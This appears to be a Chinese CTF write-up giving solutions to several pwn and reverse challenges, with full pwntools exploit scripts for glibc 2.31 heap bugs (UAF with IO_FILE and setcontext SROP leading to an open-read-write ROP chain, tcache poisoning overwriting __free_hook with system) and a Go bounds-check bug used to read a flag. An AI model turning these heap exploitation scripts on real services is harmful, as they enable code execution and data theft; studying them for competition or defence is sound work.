太难了,现在转行还来得及吗?附件
gun
UAF的洞,分配两个大块,然后释放让他们合并,再切割,其中的某个块的chunk header就能通过切割出来的chunk包含进去,之后则是清空数据,绕过tcache的check
利用则是修改stderr的chain指针指向一个堆上构造的IO,此外还要修改malloc_hook 为setcontext+61,即可通过SROP进行ORW
1 | from pwn import* |
2 | context.binary = './main' |
3 | def menu(ch): |
4 | p.sendlineafter('Action>',str(ch)) |
5 | def new(size,content): |
6 | menu(3) |
7 | p.sendlineafter('price:',str(size)) |
8 | p.sendafter('Name:',content) |
9 | def load(index): |
10 | menu(2) |
11 | p.sendlineafter('load?',str(index)) |
12 | def free(times): |
13 | menu(1) |
14 | p.sendlineafter('time: ',str(times)) |
15 | p = process('./main') |
16 | p = remote('123.57.209.176',30772) |
17 | libc =ELF('./libc-2.31.so') |
18 | p.sendlineafter('Your name: ','FMYY') |
19 | for i in range(3): |
20 | new(0x10,'FMYY\n') |
21 | new(0x420,'FMYY\n') |
22 | new(0x420,'fmyy\n') |
23 | new(0x10,'FMYY\n') |
24 | |
25 | load(4) |
26 | load(3) |
27 | free(2) |
28 | |
29 | new(0x20,'\n') |
30 | load(3) |
31 | free(1) |
32 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70 - 0x120 - 0x3E0 |
33 | log.info('LIBC:\t' + hex(libc_base)) |
34 | free_hook = libc_base + libc.sym['__free_hook'] |
35 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
36 | new(0x20,'F'*0x10 + '\n') |
37 | load(3) |
38 | free(1) |
39 | p.recvuntil('F'*0x10) |
40 | heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2C0 - 0x60 |
41 | log.info('HEAP:\t' + hex(heap_base)) |
42 | ############################################# |
43 | |
44 | ###########3 |
45 | pop_rdi_ret = libc_base + 0x0000000000026B72 |
46 | pop_rdx_r12 = libc_base + 0x000000000011C371 |
47 | pop_rsi_ret = libc_base + 0x0000000000027529 |
48 | pop_rax_ret = libc_base + 0x000000000004A550 |
49 | jmp_rsi = libc_base + 0x000000000013927D |
50 | |
51 | |
52 | syscall = libc_base + libc.sym['syscall'] |
53 | |
54 | target = libc_base + libc.sym['_IO_2_1_stdin_'] |
55 | address = libc.sym['__free_hook'] + libc_base |
56 | IO_str_jumps = libc_base + 0x1ED560 |
57 | |
58 | Open = libc_base + libc.symbols["open"] |
59 | Read = libc_base + libc.symbols["read"] |
60 | Puts = libc_base + libc.symbols['puts'] |
61 | free_hook = address |
62 | IO = '\x00'*0x28 |
63 | IO += p64(heap_base + 0x360 + 0xE0) |
64 | IO = IO.ljust(0xD8,'\x00') |
65 | IO += p64(IO_str_jumps) |
66 | read = libc_base + libc.sym['read'] |
67 | frame = SigreturnFrame() |
68 | frame.rax = 0 |
69 | frame.rdi = 0 |
70 | frame.rsi = address |
71 | frame.rdx = 0x2000 |
72 | frame.rsp = address |
73 | frame.rip = Read |
74 | |
75 | |
76 | orw = p64(pop_rdi_ret)+p64(free_hook + 0xF8) |
77 | orw += p64(pop_rsi_ret)+p64(0) |
78 | orw += p64(Open) |
79 | orw += p64(pop_rdi_ret) + p64(3) |
80 | orw += p64(pop_rdx_r12) + p64(0x30) + p64(0) |
81 | orw += p64(pop_rsi_ret) + p64(free_hook+0x100) |
82 | orw += p64(Read) |
83 | orw += p64(pop_rdi_ret)+p64(free_hook+0x100) |
84 | orw += p64(Puts) |
85 | orw = orw.ljust(0xF8,'\x00') |
86 | orw += './flag\x00\x00' |
87 | IO += str(frame) |
88 | ######################################## |
89 | for i in range(3): |
90 | load(i) |
91 | free(3) |
92 | new(0x3E0,IO + '\n') |
93 | new(0x31,p64(0) + p64(0x21) + '\x00'*0x18 + p64(0x21) + '\n') |
94 | free(1) |
95 | |
96 | load(1) |
97 | free(1) |
98 | new(0x31,p64(0) + p64(0x21) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x68) + '\n') |
99 | new(0x10,'FMYY\n') |
100 | new(0x10,p64(heap_base + 0x360) + '\n') |
101 | |
102 | load(1) |
103 | load(2) |
104 | free(2) |
105 | |
106 | new(0x31,p64(0) + p64(0x21) + p64(malloc_hook) + '\n') |
107 | new(0x10,'FMYY\n') |
108 | new(0x10,p64(libc_base + libc.sym['setcontext'] + 61) + '\n') |
109 | |
110 | menu(4) |
111 | p.sendlineafter('Goodbye!',orw) |
112 | p.interactive() |
easy_heap
add的时候,第一次输入的size可以通过控制,然后在后面有个 *(ptr+size-1)=0,从而进行堆上任意地址写0,首先切割unsorted bin chunk,leak出libc,然后构造tcache poisoning往free_hook写system即可
1 | from pwn import* |
2 | #context.log_level ='DEBUG' |
3 | p = process('./main') |
4 | p = remote('123.57.209.176',30774) |
5 | def menu(ch): |
6 | p.sendlineafter('>>',str(ch)) |
7 | def new(size,content): |
8 | menu(1) |
9 | p.sendlineafter('Size:',str(size)) |
10 | p.sendafter('Content',content) |
11 | def show(index): |
12 | menu(2) |
13 | p.sendlineafter('Index',str(index)) |
14 | def free(index): |
15 | menu(3) |
16 | p.sendlineafter('Index',str(index)) |
17 | def N(size,sz,content): |
18 | menu(1) |
19 | p.sendlineafter('Size:',str(size)) |
20 | p.sendlineafter('Size:',str(sz)) |
21 | p.sendafter('Content',content) |
22 | libc =ELF('./libc-2.31.so') |
23 | for i in range(8): |
24 | new(0x80,'FMYY\n') |
25 | for i in range(7): |
26 | free(7 - i) |
27 | free(0) |
28 | N(0x200,1,'\xE0') #0 |
29 | show(0) |
30 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 352 - 0x10 |
31 | log.info('LIBC:\t' + hex(libc_base)) |
32 | |
33 | new(0x70,'FMYY\n') #1 |
34 | new(0x60,'FMYY\n') #2 |
35 | new(0x50,'FMYY\n') #3 |
36 | new(0x50,'FMYY\n') #4 |
37 | new(0x50,'FMYY\n') #5 |
38 | free(3) |
39 | free(5) |
40 | free(4) |
41 | N(-0xBF,0x40,'FMYY\n') #3 |
42 | new(0x50,p64(libc_base + libc.sym['__free_hook']) + '\n') #4 |
43 | new(0x50,'/bin/sh\x00\n') #5 |
44 | new(0x50,p64(libc_base + libc.sym['system']) + '\n') |
45 | free(5) |
46 | |
47 | p.interactive() |
leak
在下载了一个1.13.15的Go的编译器后,手动调试发现hack中定义的数组或者整型变量在栈上是在main函数中flag数组的上方不远处
因为Golang貌似在没有包括unsafe库的情况下,不能直接操纵内存,所以就去查有没有相关的数组越界分析
结果发现知乎有个最新的文章说了下因为Go编译器优化导致数组存在越界,所以根据上面的链接找到了对应issue的payload,改都不用改就能越界读出flag中的每一个字节,感觉这个题就是个社工题,面向搜索引擎做题,就看谁先找到了 :(
issue: https://github.com/golang/go/issues/40367
知乎文章分析: https://zhuanlan.zhihu.com/p/166378003
1 | from pwn import* |
2 | p = remote('123.56.96.75',30775) |
3 | payload = ''' |
4 | func hack() { |
5 | |
6 | rates := []uint64{0xFF} |
7 | for star ,rate := range rates{ |
8 | if star+1 < 1{ |
9 | panic("") |
10 | } |
11 | println(rate) |
12 | } |
13 | } |
14 | ''' |
15 | p.sendafter('code:',payload + '#') |
16 | p.recvuntil('4531949\n') |
17 | FLAG = '' |
18 | for i in range(0x2D): |
19 | FLAG += chr(int(p.recvline(),10) - 1) |
20 | log.info('FLAG:\t' + FLAG) |
21 | pause() |
22 | p.close() |
QIAO
首先是命令行参数传入0x20个字节的数据,然后通过长度检测,再将输入的数据转换成Hex形式,最后进行了一个虚拟机,这里不明白如何逆,所以就通过gdb的硬件断点,一点点的观察,经过了几轮后,发现在某个地址会从一个地址取出一个字节,和我们的输入的数据转换成的16进制进行一字节一字节的对比,每次对比时候,手动设置数据为正确的值,进行32轮后,都在同一个地址,就能一个字节一个字节的提取出正确的flag